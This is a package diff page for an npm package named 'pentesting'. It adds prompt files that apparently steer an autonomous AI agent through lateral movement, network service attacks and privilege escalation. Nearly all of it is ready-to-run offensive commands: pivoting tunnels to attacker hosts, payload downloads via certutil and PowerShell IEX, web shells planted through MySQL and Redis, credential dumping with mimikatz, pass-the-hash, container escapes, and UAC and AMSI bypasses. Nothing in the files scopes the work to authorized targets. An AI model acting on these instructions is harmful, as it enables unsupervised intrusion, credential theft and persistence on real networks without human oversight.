pentesting 0.16.7 → 0.20.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. package/README.md +27 -9
  2. package/dist/ad/prompt.md +60 -0
  3. package/dist/api/prompt.md +63 -0
  4. package/dist/cloud/prompt.md +49 -0
  5. package/dist/container/prompt.md +58 -0
  6. package/dist/database/prompt.md +58 -0
  7. package/dist/email/prompt.md +44 -0
  8. package/dist/file-sharing/prompt.md +56 -0
  9. package/dist/ics/prompt.md +76 -0
  10. package/dist/main.js +3189 -901
  11. package/dist/network/prompt.md +49 -0
  12. package/dist/orchestrator/orchestrator.md +70 -0
  13. package/dist/prompts/base.md +532 -0
  14. package/dist/prompts/evasion.md +215 -0
  15. package/dist/prompts/exploit.md +171 -0
  16. package/dist/prompts/infra.md +114 -0
  17. package/dist/prompts/orchestrator.md +249 -0
  18. package/dist/prompts/payload-craft.md +181 -0
  19. package/dist/prompts/post.md +185 -0
  20. package/dist/prompts/recon.md +157 -0
  21. package/dist/prompts/report.md +98 -0
  22. package/dist/prompts/strategy.md +332 -0
  23. package/dist/prompts/techniques/README.md +40 -0
  24. package/dist/prompts/techniques/ad-attack.md +156 -0
  25. package/dist/prompts/techniques/auth-access.md +112 -0
  26. package/dist/prompts/techniques/file-attacks.md +144 -0
  27. package/dist/prompts/techniques/injection.md +213 -0
  28. package/dist/prompts/techniques/lateral.md +128 -0
  29. package/dist/prompts/techniques/network-svc.md +225 -0
  30. package/dist/prompts/techniques/privesc.md +186 -0
  31. package/dist/prompts/techniques/shells.md +190 -0
  32. package/dist/prompts/vuln.md +181 -0
  33. package/dist/prompts/web.md +180 -0
  34. package/dist/prompts/zero-day.md +172 -0
  35. package/dist/remote-access/prompt.md +52 -0
  36. package/dist/web/prompt.md +59 -0
  37. package/dist/wireless/prompt.md +62 -0
  38. package/package.json +8 -10
@@ -0,0 +1,128 @@
1
+ # Lateral Movement & Pivoting — Comprehensive Autonomous Guide
2
+
3
+ > **Cross-ref**: shells.md (shell access), ad-attack.md (AD movement), privesc.md (escalation)
4
+
5
+ ## Core Principle
6
+ Initial access is one machine. Lateral movement = entire network.
7
+ Every credential, hash, token, and key is a potential pivot point.
8
+
9
+ ## Lateral Movement Techniques
10
+
11
+ ```
12
+ LATERAL MOVEMENT MAP:
13
+
14
+ ├── 1. Credential-Based Movement
15
+ │ ├── SSH with credentials: ssh user@TARGET
16
+ │ ├── SSH with key: ssh -i stolen_id_rsa user@TARGET
17
+ │ ├── RDP: xfreerdp /v:TARGET /u:user /p:pass /cert:ignore
18
+ │ ├── WinRM: evil-winrm -i TARGET -u user -p pass
19
+ │ ├── PsExec: impacket-psexec user:pass@TARGET
20
+ │ ├── WMI: impacket-wmiexec user:pass@TARGET
21
+ │ ├── SMBExec: impacket-smbexec user:pass@TARGET
22
+ │ ├── DCOM: impacket-dcomexec user:pass@TARGET
23
+ │ ├── Pass-the-Hash: impacket-psexec -hashes :NTLM_HASH user@TARGET
24
+ │ ├── Pass-the-Ticket: export KRB5CCNAME=ticket.ccache → impacket tools -k
25
+ │ └── Credential spraying: try EVERY found credential on EVERY accessible service
26
+
27
+ ├── 2. Network Pivoting (Access Hidden Networks)
28
+ │ ├── SSH tunneling:
29
+ │ │ ├── Local: ssh -L LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT user@PIVOT
30
+ │ │ ├── Dynamic SOCKS: ssh -D 9050 user@PIVOT → proxychains
31
+ │ │ ├── Remote: ssh -R ATTACKER_PORT:INTERNAL_HOST:PORT user@ATTACKER
32
+ │ │ └── ProxyJump: ssh -J user@PIVOT user@INTERNAL
33
+ │ │
34
+ │ ├── Chisel (recommended for non-SSH):
35
+ │ │ ├── Server (attacker): chisel server -p 8080 --reverse
36
+ │ │ ├── Client (pivot): chisel client ATTACKER:8080 R:socks
37
+ │ │ └── Then: proxychains nmap INTERNAL_SUBNET
38
+ │ │
39
+ │ ├── Ligolo-ng (easiest for complex pivoting):
40
+ │ │ ├── Proxy (attacker): ligolo-proxy -selfcert -laddr 0.0.0.0:PORT
41
+ │ │ ├── Agent (pivot): ligolo-agent -connect ATTACKER:PORT -ignore-cert
42
+ │ │ └── Add routes to internal networks from attacker
43
+ │ │
44
+ │ ├── socat:
45
+ │ │ ├── Port forwarding: socat TCP-LISTEN:LOCAL,fork TCP:INTERNAL:PORT
46
+ │ │ └── Useful on systems without SSH
47
+ │ │
48
+ │ ├── sshuttle: sshuttle -r user@PIVOT INTERNAL_SUBNET/24
49
+ │ │ └── Transparent proxy — no need for proxychains
50
+ │ │
51
+ │ ├── Metasploit: route add SUBNET MASK SESSION
52
+ │ │ └── autoroute + socks_proxy modules
53
+ │ │
54
+ │ ├── Windows-specific:
55
+ │ │ ├── netsh portproxy: netsh interface portproxy add v4tov4 listenport=P connectaddress=HOST connectport=P
56
+ │ │ ├── plink.exe: plink -ssh -L LOCAL:INTERNAL:PORT user@PIVOT
57
+ │ │ └── web_search("windows port forwarding pivoting techniques")
58
+ │ │
59
+ │ └── web_search("pivoting tunneling techniques {tool} hacktricks")
60
+
61
+ ├── 3. File Transfer (Getting Tools Where They Need to Go)
62
+ │ ├── Linux upload to target:
63
+ │ │ ├── wget/curl: wget http://ATTACKER:PORT/file -O /tmp/file
64
+ │ │ ├── Python HTTP server: python3 -m http.server PORT (on attacker)
65
+ │ │ ├── scp: scp file user@TARGET:/tmp/
66
+ │ │ ├── Netcat: nc -lvnp PORT > file (recv) | nc TARGET PORT < file (send)
67
+ │ │ ├── Base64: base64 file → echo 'B64' | base64 -d > file
68
+ │ │ └── /dev/tcp: cat < /dev/tcp/ATTACKER/PORT > file
69
+ │ │
70
+ │ ├── Windows upload to target:
71
+ │ │ ├── certutil: certutil -urlcache -split -f http://ATTACKER/file file
72
+ │ │ ├── PowerShell: IWR -Uri http://ATTACKER/file -OutFile file
73
+ │ │ ├── bitsadmin: bitsadmin /transfer job /download /priority high URL file
74
+ │ │ ├── SMB: copy \\ATTACKER\share\file . (start smbserver on attacker)
75
+ │ │ └── In-memory: IEX(New-Object Net.WebClient).DownloadString('http://ATK/ps1')
76
+ │ │
77
+ │ └── web_search("file transfer techniques {OS} hacktricks")
78
+
79
+ ├── 4. Internal Network Discovery
80
+ │ ├── From compromised host:
81
+ │ │ ├── ip a, ifconfig, ipconfig /all → network interfaces
82
+ │ │ ├── ip route, route -n, route print → routing tables
83
+ │ │ ├── arp -a → known hosts in local network
84
+ │ │ ├── cat /etc/hosts, type C:\Windows\System32\drivers\etc\hosts
85
+ │ │ ├── netstat -antp → active connections → more targets
86
+ │ │ ├── Internal port scan: for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i; done
87
+ │ │ └── proxychains nmap -sT -Pn -p- INTERNAL_SUBNET (through pivot)
88
+ │ │
89
+ │ └── EVERY new network found = FULL reconnaissance cycle (rerun everything)
90
+
91
+ ├── 5. Credential Reuse Strategy
92
+ │ ├── Every found credential → test on ALL reachable services:
93
+ │ │ ├── SSH, RDP, WinRM, SMB, FTP, databases, web logins, VPN
94
+ │ │ ├── crackmapexec smb SUBNET/24 -u user -p pass → mass test
95
+ │ │ ├── Same password with different usernames
96
+ │ │ ├── Same username with slight password variations
97
+ │ │ └── Hash-based: Pass-the-Hash to all Windows targets
98
+ │ │
99
+ │ └── Credential chain: creds from host A → access host B → creds from B → access C
100
+
101
+ └── 6. Covert Channels
102
+ ├── DNS tunneling: iodine, dnscat2 → bypass network restrictions
103
+ ├── ICMP tunneling: icmpsh, ptunnel
104
+ ├── HTTP tunneling: through web proxies
105
+ ├── WebSocket tunneling: through WAF
106
+ └── web_search("covert channel exfiltration tunneling {protocol}")
107
+ ```
108
+
109
+ ## Pivoting Workflow
110
+ ```
111
+ Got access to new host?
112
+ 1. STABILIZE: upgrade shell, set up persistence (shells.md)
113
+ 2. ENUMERATE: network interfaces, routes, ARP, connections, hosts file
114
+ 3. LOOT: credentials, keys, tokens, hashes, config files
115
+ 4. PIVOT: set up tunnel/proxy to newly discovered networks
116
+ 5. SCAN: recon the new network through the pivot
117
+ 6. SPRAY: test found credentials on all new services
118
+ 7. REPEAT: for each new host compromised
119
+ ```
120
+
121
+ ## Search Patterns
122
+ ```
123
+ web_search("pivoting techniques {tool_name} hacktricks")
124
+ web_search("file transfer {OS} one-liner techniques")
125
+ web_search("{protocol} tunneling tool pivot")
126
+ web_search("proxychains {tool} through pivot")
127
+ web_search("lateral movement {technique} detection evasion")
128
+ ```
@@ -0,0 +1,225 @@
1
+ # Network Service Attacks — Comprehensive Autonomous Guide
2
+
3
+ > **Cross-ref**: recon.md (discovery), exploit.md (exploitation), shells.md (getting shell)
4
+
5
+ ## Core Principle
6
+ Every open port is an attack surface. Every service has known and unknown vulnerabilities.
7
+ **ALWAYS: service detection → version → IMMEDIATE web_search for exploits.**
8
+
9
+ ## Service Attack Decision Engine
10
+
11
+ ```
12
+ FOR EVERY OPEN PORT DISCOVERED:
13
+
14
+ ├── 1. IDENTIFY: nmap -sV -sC -p PORT TARGET → exact version
15
+ ├── 2. SEARCH: web_search("{service} {version} exploit CVE hacktricks")
16
+ ├── 3. CHECK: searchsploit {service} {version}
17
+ ├── 4. READ: browse_url(hacktricks_result) → learn attack methodology
18
+ ├── 5. ATTACK: apply known techniques + search for bypasses
19
+ ├── 6. BLOCKED: evasion.md + payload_mutate → try encoded/alternative
20
+ └── 7. CHAIN: combine with other findings (see strategy.md)
21
+ ```
22
+
23
+ ## 🌐 Web Services (80, 443, 8080, 8443)
24
+
25
+ ```
26
+ Web Server Identified → FULL WEB PIPELINE:
27
+ ├── Technology: whatweb, wappalyzer, curl headers
28
+ ├── CMS detection → CMS-specific scanner:
29
+ │ WordPress → wpscan --enumerate vp,vt,u --plugins-detection aggressive
30
+ │ Drupal → droopescan scan drupal -u URL
31
+ │ Joomla → joomscan -u URL
32
+ │ web_search("{CMS} {version} exploit CVE")
33
+
34
+ ├── Content discovery (MANDATORY):
35
+ │ ├── ffuf -u URL/FUZZ -w /usr/share/wordlists/dirb/big.txt -fc 404
36
+ │ ├── feroxbuster -u URL --smart --auto-tune
37
+ │ ├── gobuster dir -u URL -w wordlist -x php,asp,aspx,jsp,html,js,txt,bak
38
+ │ ├── Try backup extensions: .bak, .old, .orig, .save, .swp, ~, .tmp
39
+ │ └── Add technology-specific extensions to wordlist
40
+
41
+ ├── Sensitive file check:
42
+ │ .env, .git/HEAD, .DS_Store, .htaccess, web.config,
43
+ │ robots.txt, sitemap.xml, crossdomain.xml, clientaccesspolicy.xml,
44
+ │ phpinfo.php, server-status, server-info, info.php, test.php
45
+
46
+ ├── API discovery:
47
+ │ /api, /api/v1, /swagger, /swagger-ui, /openapi.json,
48
+ │ /graphql, /graphiql, /api-docs, /.well-known/
49
+
50
+ ├── Virtual hosts: ffuf -H "Host: FUZZ.TARGET" -u http://IP -w subdomains.txt
51
+
52
+ └── Deep web testing → see injection.md, auth-access.md, file-attacks.md
53
+ ```
54
+
55
+ ## 🔐 Authentication Services
56
+
57
+ ```
58
+ SSH (22):
59
+ ├── Version CVE: web_search("OpenSSH {version} CVE exploit")
60
+ ├── Username enumeration: web_search("openssh {version} user enumeration CVE")
61
+ ├── Brute force: hydra -l root -P wordlist ssh://TARGET
62
+ ├── Key-based: try found keys from other hosts
63
+ ├── Agent forwarding: if forwarded → hijack to access other hosts
64
+ └── Misconfig: check for weak algorithms, passwordless login
65
+
66
+ FTP (21):
67
+ ├── Anonymous: ftp TARGET → anonymous / (empty password)
68
+ ├── Version CVE: web_search("{ftpd} {version} exploit")
69
+ ├── Brute force: hydra -l admin -P wordlist ftp://TARGET
70
+ ├── Writable dirs: if serves web → upload web shell
71
+ ├── Bounce attack: use FTP to scan internal ports
72
+ └── PASV mode: reveals internal IP addresses
73
+
74
+ Telnet (23):
75
+ ├── Often unencrypted → capture credentials
76
+ ├── Default creds: web_search("{device} telnet default credentials")
77
+ └── Version exploits: web_search("telnet {version} CVE")
78
+
79
+ RDP (3389):
80
+ ├── BlueKeep: nmap --script rdp-vuln-ms12-020 -p 3389 TARGET
81
+ ├── Brute force: hydra -l admin -P wordlist rdp://TARGET
82
+ ├── NLA bypass: web_search("RDP NLA bypass technique")
83
+ ├── Credentials: try EVERY found credential
84
+ └── Pass-the-Hash: xfreerdp /v:TARGET /u:admin /pth:NTLM -sec-nla
85
+
86
+ VNC (5900-5910):
87
+ ├── No auth: vncviewer TARGET::5900
88
+ ├── Brute force: hydra -P wordlist -s 5900 TARGET vnc
89
+ ├── VNC authentication bypass: web_search("VNC auth bypass")
90
+ └── Decrypt stored password: web_search("vnc password decrypt")
91
+
92
+ WinRM (5985/5986):
93
+ ├── evil-winrm -i TARGET -u user -p pass
94
+ ├── Pass-the-Hash: evil-winrm -i TARGET -u user -H NTLM_HASH
95
+ └── If valid creds → full PowerShell access
96
+ ```
97
+
98
+ ## 📂 File Sharing Services
99
+
100
+ ```
101
+ SMB (139/445):
102
+ ├── Null session: smbclient -L //TARGET -N, smbmap -H TARGET -u '' -p ''
103
+ ├── Guest: smbmap -H TARGET -u 'guest' -p ''
104
+ ├── Enumerate shares: crackmapexec smb TARGET --shares -u '' -p ''
105
+ ├── Download everything: smbget -R smb://TARGET/share
106
+ ├── Writable share: upload payload (web shell if web-accessible, batch/exe if executed)
107
+ ├── Vulnerabilities:
108
+ │ ├── EternalBlue (MS17-010): nmap --script smb-vuln-ms17-010
109
+ │ ├── PrintNightmare: web_search("printnightmare exploit")
110
+ │ ├── SMB relay: Responder + ntlmrelayx
111
+ │ └── web_search("SMB {version} CVE exploit")
112
+ ├── Password spray: crackmapexec smb TARGET -u users.txt -p passwords.txt
113
+ └── Enum: crackmapexec smb TARGET -u user -p pass --users --groups --loggedon-users
114
+
115
+ NFS (2049):
116
+ ├── Show exports: showmount -e TARGET
117
+ ├── Mount: mount -t nfs TARGET:/share /mnt/nfs
118
+ ├── Check no_root_squash → create SUID binary on share → execute on target
119
+ └── web_search("NFS exploitation no_root_squash")
120
+
121
+ Rsync (873):
122
+ ├── List modules: rsync -av --list-only rsync://TARGET/
123
+ ├── Download: rsync -av rsync://TARGET/share/ ./loot/
124
+ └── If writable: upload malicious crontab/authorized_keys
125
+ ```
126
+
127
+ ## Database Services
128
+
129
+ ```
130
+ MySQL (3306):
131
+ ├── mysql -h TARGET -u root (no password)
132
+ ├── mysql -h TARGET -u root -p'root' (common passwords)
133
+ ├── Brute force: hydra -l root -P wordlist mysql://TARGET
134
+ ├── UDF: web_search("mysql UDF privilege escalation")
135
+ ├── INTO OUTFILE: SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/cmd.php'
136
+ ├── LOAD_FILE: SELECT LOAD_FILE('/etc/passwd')
137
+ └── web_search("mysql {version} CVE exploit")
138
+
139
+ PostgreSQL (5432):
140
+ ├── psql -h TARGET -U postgres (often trust/peer auth)
141
+ ├── COPY TO: COPY (SELECT 'shell') TO '/tmp/shell.sh'
142
+ ├── pg_read_file: SELECT pg_read_file('/etc/passwd')
143
+ ├── Large objects: read/write arbitrary files
144
+ ├── Extension: CREATE EXTENSION dblink → SSRF
145
+ └── web_search("postgresql {version} RCE exploit")
146
+
147
+ MSSQL (1433):
148
+ ├── impacket-mssqlclient DOMAIN/user:pass@TARGET
149
+ ├── xp_cmdshell: EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'
150
+ ├── UNC path: EXEC xp_dirtree '\\ATTACKER\share' → capture NTLMv2
151
+ ├── OLE automation: sp_OACreate for command execution
152
+ ├── CLR assembly: custom .NET DLL → load and execute
153
+ └── web_search("MSSQL exploitation techniques {year}")
154
+
155
+ Redis (6379):
156
+ ├── redis-cli -h TARGET (check no-auth)
157
+ ├── INFO → version, OS, memory
158
+ ├── Web shell: CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET x "<?php system($_GET['cmd']);?>"; SAVE
159
+ ├── SSH key: CONFIG SET dir /root/.ssh; CONFIG SET dbfilename authorized_keys; SET x "KEY_DATA"; SAVE
160
+ ├── Cron: CONFIG SET dir /var/spool/cron/crontabs; SET x "reverse_shell_cron"; SAVE
161
+ ├── Master-slave RCE: MODULE LOAD via replication
162
+ └── web_search("redis {version} RCE exploit")
163
+
164
+ MongoDB (27017):
165
+ ├── mongosh mongodb://TARGET:27017 (no auth)
166
+ ├── db.adminCommand({listDatabases:1})
167
+ ├── Dump all: for each db → show collections → db.collection.find()
168
+ ├── Authentication bypass: web_search("mongodb auth bypass")
169
+ └── web_search("mongodb {version} CVE")
170
+
171
+ Elasticsearch (9200):
172
+ ├── curl http://TARGET:9200/ → version info
173
+ ├── curl http://TARGET:9200/_cat/indices → list all indices
174
+ ├── curl http://TARGET:9200/_search?q=password → search for secrets
175
+ ├── RCE: web_search("elasticsearch {version} RCE CVE")
176
+ └── Snapshot API → read filesystem
177
+ ```
178
+
179
+ ## 📧 Other Common Services
180
+
181
+ ```
182
+ SMTP (25/587):
183
+ ├── User enum: VRFY/EXPN/RCPT TO
184
+ ├── Open relay: send from any address
185
+ ├── web_search("smtp user enumeration techniques")
186
+
187
+ DNS (53):
188
+ ├── Zone transfer: dig axfr @TARGET domain.com
189
+ ├── Subdomain brute: fierce, dnsrecon, ffuf
190
+ ├── DNS cache snooping: information about internal infrastructure
191
+ └── web_search("DNS exploitation techniques")
192
+
193
+ SNMP (161/162):
194
+ ├── snmpwalk -v2c -c public TARGET
195
+ ├── Community brute: onesixtyone -c community.txt TARGET
196
+ ├── Writable OIDs → RCE: web_search("SNMP RCE write community")
197
+ └── Version 3: credential brute force
198
+
199
+ LDAP (389/636):
200
+ ├── Anonymous bind: ldapsearch -x -H ldap://TARGET -s base
201
+ ├── User/group enumeration
202
+ ├── LDAP injection: see injection.md
203
+ └── Detailed methodology: web_search("LDAP pentesting hacktricks")
204
+
205
+ Docker API (2375/2376):
206
+ ├── curl http://TARGET:2375/images/json (if unauthenticated)
207
+ ├── Full RCE: docker -H tcp://TARGET:2375 run -v /:/mnt alpine chroot /mnt
208
+ └── Kubernetes: kubectl --server=https://TARGET:6443 get pods
209
+
210
+ Kerberos (88):
211
+ ├── User enumeration: kerbrute userenum --dc DC -d DOMAIN users.txt
212
+ ├── AS-REP roasting: impacket-GetNPUsers (see ad-attack.md)
213
+ ├── Kerberoasting: impacket-GetUserSPNs (see ad-attack.md)
214
+ └── web_search("kerberos attack techniques {year}")
215
+ ```
216
+
217
+ ## Universal Service Search Pattern
218
+ ```
219
+ web_search("{service_name} {version} exploit hacktricks")
220
+ web_search("{service_name} pentesting cheatsheet")
221
+ web_search("{service_name} {version} CVE PoC")
222
+ web_search("{service_name} default credentials")
223
+ web_search("{service_name} security misconfiguration")
224
+ searchsploit {service_name} {version}
225
+ ```
@@ -0,0 +1,186 @@
1
+ # Privilege Escalation — Comprehensive Autonomous Guide
2
+
3
+ > **Cross-ref**: shells.md (shell access), post.md (post-exploitation), lateral.md (lateral movement)
4
+
5
+ ## Core Principle
6
+ Initial access is usually low-privileged. Privesc is MANDATORY.
7
+ There are hundreds of privesc vectors — automated tools + manual checks + SEARCH.
8
+
9
+ ## 🐧 Linux Privilege Escalation
10
+
11
+ ### Automated Enumeration (RUN FIRST)
12
+ ```
13
+ ALWAYS run automated enumeration:
14
+ ├── LinPEAS: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
15
+ ├── LinEnum: web_search("linenum github") → download and run
16
+ ├── linux-exploit-suggester: web_search("linux exploit suggester github")
17
+ ├── pspy: monitor processes without root (cron jobs, other users' commands)
18
+ └── If tools can't be transferred: run commands manually (see below)
19
+ ```
20
+
21
+ ### Manual Privesc Vector Map
22
+ ```
23
+ LINUX PRIVESC CATEGORIES:
24
+
25
+ ├── 1. Kernel Exploits
26
+ │ ├── uname -a → kernel version
27
+ │ ├── web_search("linux kernel {version} privilege escalation exploit")
28
+ │ ├── searchsploit linux kernel {version}
29
+ │ └── Dirty COW, Dirty Pipe, OverlayFS, etc.
30
+
31
+ ├── 2. SUID/SGID Binaries
32
+ │ ├── find / -perm -4000 -type f 2>/dev/null (SUID)
33
+ │ ├── find / -perm -2000 -type f 2>/dev/null (SGID)
34
+ │ ├── For EACH found binary: check GTFOBins
35
+ │ │ web_search("{binary_name} gtfobins")
36
+ │ ├── Custom SUID binaries: strings, ltrace, strace → find vulnerability
37
+ │ └── Known exploitable SUID: nmap, vim, python, find, bash, cp, mv, etc.
38
+
39
+ ├── 3. Sudo Misconfiguration
40
+ │ ├── sudo -l (list what current user can sudo)
41
+ │ ├── (ALL, !root) → CVE-2019-14287: sudo -u#-1 /bin/bash
42
+ │ ├── NOPASSWD entries → check GTFOBins for each allowed command
43
+ │ ├── sudo version: sudo --version → web_search("sudo {version} CVE")
44
+ │ ├── LD_PRELOAD/LD_LIBRARY_PATH in env_keep → shared library injection
45
+ │ └── web_search("sudo {command} privilege escalation gtfobins")
46
+
47
+ ├── 4. Cron Jobs
48
+ │ ├── cat /etc/crontab, ls -la /etc/cron.*, crontab -l
49
+ │ ├── Writable cron scripts → replace with reverse shell
50
+ │ ├── Wildcard injection: if cron uses * → inject flag files
51
+ │ │ tar: --checkpoint + --checkpoint-action=exec=sh
52
+ │ │ rsync: -e "sh shell.sh"
53
+ │ ├── PATH exploitation: cron PATH writable → place malicious binary first
54
+ │ └── pspy to discover hidden cron jobs and service activity
55
+
56
+ ├── 5. Capabilities
57
+ │ ├── getcap -r / 2>/dev/null
58
+ │ ├── Exploitable: cap_setuid, cap_dac_override, cap_sys_admin, cap_net_raw
59
+ │ ├── Python with cap_setuid: python -c 'import os; os.setuid(0); os.system("/bin/bash")'
60
+ │ └── web_search("{binary} {capability} privilege escalation")
61
+
62
+ ├── 6. Writable Files/Directories
63
+ │ ├── /etc/passwd writable → add root user (openssl passwd -1 -salt xyz password)
64
+ │ ├── /etc/shadow readable → crack hashes (hashcat/john)
65
+ │ ├── .bashrc/.profile of other users → inject commands
66
+ │ ├── Service config files → modify service to run as root
67
+ │ ├── init scripts/systemd services writable → modify ExecStart
68
+ │ └── find / -writable -type f 2>/dev/null | grep -v proc
69
+
70
+ ├── 7. Path Hijacking
71
+ │ ├── echo $PATH → are writable dirs BEFORE system dirs?
72
+ │ ├── Service/script calls command without absolute path → create in writable dir
73
+ │ ├── LD_LIBRARY_PATH → shared library hijacking
74
+ │ └── Python library path → create malicious module with same name
75
+
76
+ ├── 8. NFS Misconfiguration
77
+ │ ├── cat /etc/exports → look for no_root_squash
78
+ │ ├── Mount from attacker → create SUID binary → execute on target
79
+ │ └── Web_search("NFS no_root_squash privilege escalation")
80
+
81
+ ├── 9. Docker/Container Escape
82
+ │ ├── In docker group? → docker run -v /:/mnt --rm -it alpine chroot /mnt sh
83
+ │ ├── Privileged container? → mount /dev/sda1 /mnt → access host filesystem
84
+ │ ├── Docker socket mounted? → full host access
85
+ │ ├── cap_sys_admin → mount cgroup + notify_on_release → execute on host
86
+ │ └── web_search("docker container escape privilege escalation {year}")
87
+
88
+ ├── 10. Sensitive Information
89
+ │ ├── grep -r "password" /var/www/ /opt/ /home/ /etc/ 2>/dev/null
90
+ │ ├── .env files, config files, database connection strings
91
+ │ ├── .bash_history, .mysql_history, .sh_history
92
+ │ ├── SSH keys: find / -name "id_rsa" -o -name "*.pem" 2>/dev/null
93
+ │ ├── Stored credentials: /var/www/html/wp-config.php, .git/config
94
+ │ └── Internal services with credentials → pivot to higher-priv user
95
+
96
+ └── 11. Miscellaneous
97
+ ├── Shared library injection via writable .so files
98
+ ├── AppArmor/SELinux misconfiguration → bypass
99
+ ├── dbus exploitation
100
+ ├── Polkit vulnerabilities (CVE-2021-4034 pkexec, CVE-2021-3560)
101
+ └── web_search("linux privilege escalation {year} new techniques")
102
+ ```
103
+
104
+ ## 🪟 Windows Privilege Escalation
105
+
106
+ ### Automated Enumeration
107
+ ```
108
+ ├── WinPEAS: upload and run (or run from memory via PowerShell)
109
+ ├── PowerUp.ps1: Invoke-AllChecks
110
+ ├── Seatbelt.exe: comprehensive security enumeration
111
+ ├── SharpUp.exe: check for common privesc vectors
112
+ └── windows-exploit-suggester: compare systeminfo output
113
+ ```
114
+
115
+ ### Manual Privesc Vector Map
116
+ ```
117
+ WINDOWS PRIVESC CATEGORIES:
118
+
119
+ ├── 1. Kernel Exploits
120
+ │ ├── systeminfo → OS version + patch level
121
+ │ ├── web_search("windows {version} {build} privilege escalation exploit")
122
+ │ ├── windows-exploit-suggester --update --systeminfo sysinfo.txt
123
+ │ └── Notable: PrintNightmare, HiveNightmare, EternalBlue, JuicyPotato, etc.
124
+
125
+ ├── 2. Service Exploits
126
+ │ ├── Unquoted service paths: wmic service get name,pathname | findstr /i "C:"
127
+ │ ├── Weak service permissions: sc qc <service>, accesschk.exe
128
+ │ ├── Service binary replacement: replace binary of service running as SYSTEM
129
+ │ ├── DLL Hijacking: missing DLL → place malicious DLL in search path
130
+ │ └── Registry permissions: writable service registry keys
131
+
132
+ ├── 3. Token Impersonation
133
+ │ ├── SeImpersonatePrivilege → JuicyPotato/PrintSpoofer/GodPotato
134
+ │ ├── SeAssignPrimaryTokenPrivilege → token manipulation
135
+ │ ├── whoami /priv → check all privileges
136
+ │ └── web_search("windows token impersonation SeImpersonate exploit {year}")
137
+
138
+ ├── 4. AlwaysInstallElevated
139
+ │ ├── Check: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
140
+ │ ├── If enabled → create malicious .msi → runs as SYSTEM
141
+ │ └── msfvenom -p windows/shell_reverse_tcp ... -f msi > evil.msi
142
+
143
+ ├── 5. Stored Credentials
144
+ │ ├── cmdkey /list → stored credentials
145
+ │ ├── runas /savecred /user:admin "cmd /c reverse_shell.exe"
146
+ │ ├── SAM/SYSTEM backup files → dump hashes
147
+ │ ├── LSASS dump: mimikatz, Task Manager, procdump
148
+ │ ├── Registry: reg save HKLM\SAM sam, reg save HKLM\SYSTEM system
149
+ │ ├── Credential Manager, DPAPI protected blobs
150
+ │ └── web_search("windows credential extraction techniques {year}")
151
+
152
+ ├── 6. Scheduled Tasks
153
+ │ ├── schtasks /query /fo LIST /v
154
+ │ ├── Writable task scripts → replace with malicious code
155
+ │ ├── Writable task binary paths → replace binary
156
+ │ └── Missing binaries → create malicious binary at expected path
157
+
158
+ ├── 7. Registry Exploits
159
+ │ ├── AutoRun: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
160
+ │ ├── Writable registry keys → modify
161
+ │ └── AppInit_DLLs, Image File Execution Options
162
+
163
+ ├── 8. UAC Bypass
164
+ │ ├── web_search("UAC bypass technique {year}")
165
+ │ ├── fodhelper.exe bypass, eventvwr.exe bypass
166
+ │ ├── DLL side-loading in auto-elevated processes
167
+ │ └── UACME github → comprehensive UAC bypass collection
168
+
169
+ └── 9. Miscellaneous
170
+ ├── AMSI bypass → web_search("AMSI bypass {year}")
171
+ ├── AppLocker bypass → web_search("AppLocker bypass {year}")
172
+ ├── Network credential sniffing (Responder, Inveigh)
173
+ ├── Clipboard monitoring for passwords
174
+ └── web_search("windows privilege escalation {year} new techniques")
175
+ ```
176
+
177
+ ## Universal Privesc Search Pattern
178
+ ```
179
+ 1. What OS/version? → web_search("{OS} {version} privilege escalation")
180
+ 2. What services? → web_search("{service} privilege escalation")
181
+ 3. What binaries? → web_search("{binary} gtfobins") OR web_search("{binary} lolbas")
182
+ 4. What's misconfigured? → interpret LinPEAS/WinPEAS output
183
+ 5. What's writable? → modify writable files/services for shell execution
184
+ 6. What credentials? → crack, spray, or reuse found credentials
185
+ 7. Still stuck? → web_search("{kernel_version} exploit CVE PoC")
186
+ ```